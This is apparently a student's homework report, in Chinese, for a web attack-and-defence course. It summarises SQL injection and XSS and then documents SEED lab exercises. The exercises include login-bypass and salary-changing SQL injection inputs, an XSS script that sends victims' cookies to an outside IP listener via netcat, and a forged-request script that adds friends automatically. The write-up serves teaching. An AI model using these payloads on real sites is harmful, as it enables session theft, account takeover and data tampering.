20199120 2019-2020-2 《网络攻防实践》第11周作业
20199120 2019-2020-2 《网络攻防实践》第11周作业
前言
作业 | 答案 |
---|---|
这个作业属于哪个课程 | 网络攻防实践 |
这个作业的要求在哪里 | 第11次作业 Web应用程序安全攻防 |
我在这个课程的目标是 | 学习、提高网络攻防的本领 |
1.本章知识点总结
1.1 Web应用程序体系结构及其安全威胁
1.1.1 Web应用体系结构
-
Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如JavaApplet),依赖于浏览器来对应用程序进行渲染与执行。
-
Web应用体系结构由浏览器作为“瘦”客户端主要完成数据显示与展示内容的渲染功能;由功能强大的“胖”服务器负责完成主要业务的计算处理;两者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。“胖”服务器端则由Web服务器软件、Web应用程序及后端数据库构成,并通过三层架构,即表示层、业务逻辑层和数据层,来进行组织与构建。
-
浏览器
- 标准的Web客户端就是浏览器,它们都使用HTTP/HTTPS协议、HTML语言和Web服务器进行交互,获取Web服务器上的信息和应用服务。
-
Web服务器
- Web服务器软件通常被简单的描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给Web应用程序来执行,待Web应用程序执行完逻辑并返回响应时,Web服务器再将这个响应返回给Web客户端,在浏览器上进行本地执行、渲染和展示。
-
Web应用程序
- 现代Web应用的核心时处于服务器的业务逻辑,即Web应用程序,随着Web应用技术的发展,Web应用程序的功能越来越复杂多样化,并出现了分层的概念。最普遍应用的是三层体系结构,由表示层、业务逻辑层和数据层组成
- 表示层:功能是接受Web客户端输入并显示结果,通常由HTML的显示、输入表单等标签所构成。
- 业务逻辑层:从表示层接收输入并在其上完成某些工作,并可能需要数据层的协作,然后将结果送回表示层,业务逻辑层时Web应用程序的核心,其实现方式报错CGI脚本程序、ASP、ASP.NET、PHP等动态脚本语言。
- 数据层:以数据库或本地文件形式,提供非易失性的信息存储,这些信息可以被逻辑层请求或更新。
- 现代Web应用的核心时处于服务器的业务逻辑,即Web应用程序,随着Web应用技术的发展,Web应用程序的功能越来越复杂多样化,并出现了分层的概念。最普遍应用的是三层体系结构,由表示层、业务逻辑层和数据层组成
-
数据库
- 数据库有时也被称为“后台”,是Web应用存储数据的地方,数据层也作为Web应用程序多级结构中的最后一层。Web应用程序的业务逻辑层通过一些列的数据库连接器连接至后数据关系系统,对数据库进行增删改查,常用数据连接器包括ODBC(开放数据库连接)、OLEDB(对象链接与嵌入数据库)、JDBC(Java数据库连接)等。
-
传输协议HTTP/HTTPS
- 浏览器和由Web服务器、Web应用程序和数据库所构成的Web站点之间的通信传输协议是HTPP/HTTPS协议。超文本传输协议(HTTP)默认使用TCP 80端口,HTTP是相对比较简单、无状态的、基于ASCII码的协议。HTTP协议使用统一资源标识符,对范围从静态文本页面到动态视频流的各种资源进行统一定义,然后采用一种简单的请求/响应模式,来请求一项资源,如果资源存在且可用,服务器就向Web客户端响应这项资源。
- 为了提升HTTP 协议的安全,人们也引入了多项机制,包括使用 SSL/TLS 隧道技术来实现加密传输的HTTPS 协议:采用Cookie 机制进行会话状态管理,使得HTTP 协议运行起来像是一个有状态的协议;嵌入基础认证、摘要认证、基于表单的认证、NTLM 认证、协商认证、客户端证书认证等多种认证协议,来实现HTTP 对用户身份的认证与控制。
1.1.2 Web应用安全威胁
- 针对浏览器和终端用户的Web浏览器安全威胁
- 针对传输网络的网络协议安全威胁
- 系统层安全威胁
- web服务器软件安全威胁
- Web应用程序安全威胁
- Web数据安全威胁
1.2 Web应用安全攻防技术概述
1.2.1 信息收集
-
手工审查:手工浏览过程中,收集Web应用程序的静态和动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串等信息。
-
自动下载与镜像Web站点页面:Linux系统的lynx、wget和Windows系统上的TelePort Pro、Offline Explorer等镜像软件
-
使用Google Hacking技术审查与探测Web应用程序:指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
- 获取攻击入口点
- 获取攻击所需信息
- 探测安全漏洞
- 获取敏感信息与数据
-
Web应用程序安全评估与漏洞检测:对目标应用程序各功能进行研究评估,理解其体系结构与设计思路,找出薄弱环节,总结对该应用的详细攻击步骤。常需要使用TamperData、Firebug等浏览器插件、Fiddler、WebScarab等免费工具集及IBM Rational AppScan、WebRaver等商业Web应用安全评估系统和漏洞扫描器。
1.2.2 攻击Web服务器软件
- Web服务器平台中的安全漏洞主要分为:
- 数据驱动的远程代码执行安全漏洞
- 服务器功能扩展模块漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析攻击
1.2.3 攻击Web应用程序
-
Web应用程序安全威胁从攻击技术角度分为:
- 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等
- 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等
- 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等
- 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串等
- 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等
- 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善等
-
2010年TOP10 Web应用程序安全威胁类型依次为:代码注入攻击、XSS跨站脚本、不安全的身份认证和会话管理、不安全的直接对象引用、CSRF跨站请求伪造、不安全的配置、不安全的加密存储、未限制URL访问、不充分的传输层保护、及未经安全验证的重定向和前进链接
1.2.4 攻击Web数据内容
Web 站点除了通过服务器软件和应用程序中存在安全满洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括:
-
安全敏感数据泄露
由于不安全配置、使用者疏忽和缺乏安全意识,一些Web站点上可能会包含安全敏感的数据内容。这些安全敏感的数据内容可能通过如下途径和方式被泄露:- Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;
- 利用Web服务器(通常可能同时是FTP服务器)的Upload、incoming 等上传目录临时中转文件时泄露;
- 由于缺乏安全意识,在Web站点公开的文档资科中包含个人隐私、企业秘密。甚至国家秘密信息。
-
网站篡改
网站篡改是一类较早出现且流行已久的网站攻击形式,一般是网络骇客们所为,在利用特定攻击手段入侵网站后,将网站页面内容进行替换,从而宣示入侵成功或表达攻击者的某种观点诉求。大多数网站篡改并不具备破坏性,攻击者一般仅仅通过替换页面内容或另外防止页面进行宣誓,而不会对网站内容和服务器进行恶意删除或破坏,或利用被攻陷网站实施其他攻击行为。 -
不良信息内容上传
Web站点被攻击者入侵和控制之后,以及一些允许用户上传内容的论坛、博客类网站,可能遭受不良信息内容上传的威胁。
1.2.5 web应用安全防范措施
-
Web站点网络传输安全设防措施
- 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护
- 通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议
- 对关键的Web服务器,设置静态绑定MAC_IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网管位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗长等机制来应对拒绝服务攻击
-
Web站点操作系统及服务安全设防安全措施
- 对Web站点的操作系统与服务器软件进行及时的补丁更新
- 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描
- 采用提升系统与服务安全性的一般性设防措施
-
Web应用程序安全设防措施
- 认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
- 对于必须提供用户交互、采用动态页面的Web站带你,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包
- 只在必要时候自主或外包开发Web应用程序
- 使用Web服务器软件提供的日志功能
-
Web站点数据安全设防措施
- 提高网站内容维护人员的数据安全意识
- 提升Web站点的安全性;掌握并善用Google搜索引擎技巧;对网站的安全配置进行检查;对接受用户交互的网站列出清单
1.3 SQL注入
代码注入根据攻击目标的不同分为:
- 恶意读取、修改与操纵数据库的SQL注入攻击
- 在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击
- 在Web服务器端恶意执行操作系统命令的Shell注入攻击
- 其他多种多样的注入攻击
1.3.1 SQL注入攻击原理
SQL 注入攻击的原理是向 Web 应用程序提供的用户输入接口输入一段精心构造的 SQL 查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
1.3.2 SQL注入攻击步骤和过程
1. 发现SQL注入点
常见的SQL注入点存在于形如http://SITE/xxx.asp?some_rec=yyy
的动态网页中,当some_rec
字段为整数型参数时,SQL语句SELECT * FROM some_table WHERE some_rec = yyy
可将参数some_rec = yy
设置为如下三种不同字符串,并根据返回页面判断是否存在注入点
- 将
yyy
修改为yyy'
,输入后的数据类型不符合造成SQL语句错误,动态页面会返回错误提示信息。 - 将
yyy
修改为yyy and 1=1
,由于1=1
是永真式,不对查询条件造成任何影响,因此xxx.asp返回正常页面。 - 将
yyy
修改为yyy and 1=2
,由于1=2
是永假式,那么将查询不到任何信息,并返回空白页面或错误提示信息。
2. 判断后台数据库类型
利用数据库服务器的系统变量进行判断或者利用数据库服务器的系统表进行判断
3. 后台数据库中管理员用户口令字猜解
通过SQL 注入攻击如果能够猜解获取管理员用户账号的口令字,那么攻击者就可以通过后台管理界面以管理员身份登录和控制整个Web 应用程序。进行管理员用户口令字猜解的攻击过程一般包括:
- 猜解表名
- 猜解字段名
- 用户名与口令猜解
4. 上传ASP后门,得到默认账户权限
在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
5. 本地权限提升
获得Web服务器软件启动的本地受限用户权限之后,要想进一步获得系统根用户权限,那就需要实施一些本地权限提升攻击
6. 利用数据库扩展存储过程执行Shell命令
1.3.3 SQL注入工具
Wposion、wieliekoek.pl、SPIKE Proxy等
1.3.4 SQL注入攻击防范措施
- 使用类型安全的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
- 加强SQL数据库服务器的配置与连接
1.4 XSS跨站脚本攻击
XSS跨站脚本攻击的最终目标是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户在浏览网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等后果。
1.4.1 XSS攻击技术原理
Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
1.4.2 XSS攻击类型
-
持久性 XSS 漏洞:
危害最为严重的 XSS 漏洞,它通常出现于一些可以将用户输入持久性地保存在 Web 服务器端,并在一些“正常”页面中持续性地显示。这种漏洞通常出现在留言本、BBS 论坛、博客等Web 应用程序中,攻击者通过留言、帖子、评论等方式注入包含恶意脚本的内容之后,这些恶意脚本将被水久性的包含在网站页面中。 -
非持久性 XSS 漏洞:
是最普遍的类型,当Web 浏览器在HTTP 请求参数或 HTML 提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在着非持久性的XSS 漏洞。 -
非持久性XSS攻击步骤
- 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户
- 用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面
- 网站将会在反馈的欢迎页面中包含恶意客户端脚本
- 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌
- 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击
1.4.3 XSS攻击防范措施
- 服务器端防范措施:输入验证、输出净化、消除危险的输入点
- 客户端防范措施:提升浏览器的安全设置,也可以采用非主流的安全浏览器降低安全风险
2.实践过程
2.1 动手实践: SEED SQL注入实验
实验环境:SEED Ubuntu16.04虚拟机
1. 对SELECT语句进行SQL注入攻击
- 输入指令
sudo service apache2 start
运行Apache
服务,打开虚拟机终端,输入命令mysql -u root -p
,登录mysql
- 输入
use Users
选择使用的数据库
- 输入
show tables;
显示该数据库中的所有表
- 输入
selet * from credential;
查看表详情
- 打开Firefox浏览器,输入
www.SEEDLabSQLInjection.com
,显示登录窗口 ,然后随便输入一个登录名和密码。同时按F12,查看REQUEST URL,可知校验页面是unsafe_home.php
-
在Firefox浏览器中输入
/var/www/SQLInjection/unsafe_home.php
打开unsafe_home.php
查看源码- 可发现,进行登录认证时,区分
admin
用户及其他用户。用户信息表为credential
- 用admin来进行登录
- 可发现,进行登录认证时,区分
-
登录时正确的SQL查询语句为
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
。我们可以输入Admin'#
,让SQL语句提前结束,而不进行密码校验,#的作用是将密码校验的部分注释掉 。密码为空或者随便输入,成功登陆
2. 对UPDATE语句进行SQL注入攻击
- 在Firefox浏览器中输入
/var/www/SQLInjection/unsafe_edit_backend.php
打开unsafe_edit_backend.php
查看处理update语句的地方,发现员工只能修改自己的个人信息,而无法修改salary,我们的目的是修改salary
-
用之前相同的方法登录Boby,登陆成功后,点击edit profile修改信息
-
修改nickname字段为
',salary='10' where Name='Boby'; #
-
点击Save,查看到Boby用户的salary被修改为10
- Boby也可以修改其他用户的信息,例如Boby修改Alice的salary,修改nickname字段为
',salary='2' where Name='Alice'; #
- 登陆admin,可以看到修改成功
2.2 动手实践:XSS 攻击实验
弹窗显示信息
- 打开
www.xsslabelgg.com
,登录alice的账号,密码为seedalice
- 进入alice的个人信息编辑页面,在Brief description中输入XSS攻击代码,用来显示提示框
- 点击save,可以看到xss攻击成功
- 在Brief description中输入XSS攻击代码,会看到显示当前的 cookie 信息的弹框
窃取受害者的cookies
-
在
Brief description
的地方填写<script>document.write('<img src=http://192.168.200.4:8888?c='+escape(document.cookie) + ' >');</script>
-
使用指令
nc -l 8888 -v
监听端口,可以从8888端口看到cookie信息
成为受害者的朋友
- 首先访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby
按F12打开 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友
- 将S脚本填入Alice个人信息的About me中,退出Alice账户,登录Boby账户,访问Alice主页,然后返回自己的主页,发现已经添加了Alice为好友
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
3.实践总结
sql和JavaScript 没有学过,挺多代码不知道是什么意思。XSS蠕虫不会写,希望老师可以讲一下。